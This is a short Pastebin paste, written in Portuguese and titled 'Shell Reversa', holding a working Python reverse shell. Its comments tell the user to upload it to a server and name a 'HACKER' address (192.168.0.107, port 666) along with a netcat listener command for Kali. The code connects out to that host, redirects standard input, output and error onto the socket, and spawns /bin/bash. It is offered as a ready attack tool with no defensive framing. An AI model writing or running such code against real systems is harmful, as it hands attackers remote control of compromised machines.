DarkProgrammer000

Shell Reversa

Aug 3rd, 2021
667
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. """
  2. Programa: Shell reversa
  3. Obs(1): Upar no servidor para se obter uma shell reversa
  4.  
  5. Obs(2):
  6. # HACKER
  7. 1) IP: 192.168.0.107
  8. 2) Porta: 666
  9.  
  10. Obs(3)
  11. Kali: nc -lvp 666
  12. """
  13.  
  14. import os
  15. import pty
  16. import socket
  17.  
  18. # Criando conexao o cliente
  19. client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  20. ip = "192.168.0.107"
  21.  
  22. # Tupla: Conectando
  23. client.connect((ip, 666))
  24.  
  25. # Reversao
  26. os.dup2(client.fileno(), 0)
  27. os.dup2(client.fileno(), 1)
  28. os.dup2(client.fileno(), 2)
  29.  
  30. # Shell
  31. pty.spawn('/bin/bash')
  32.  
RAW Paste Data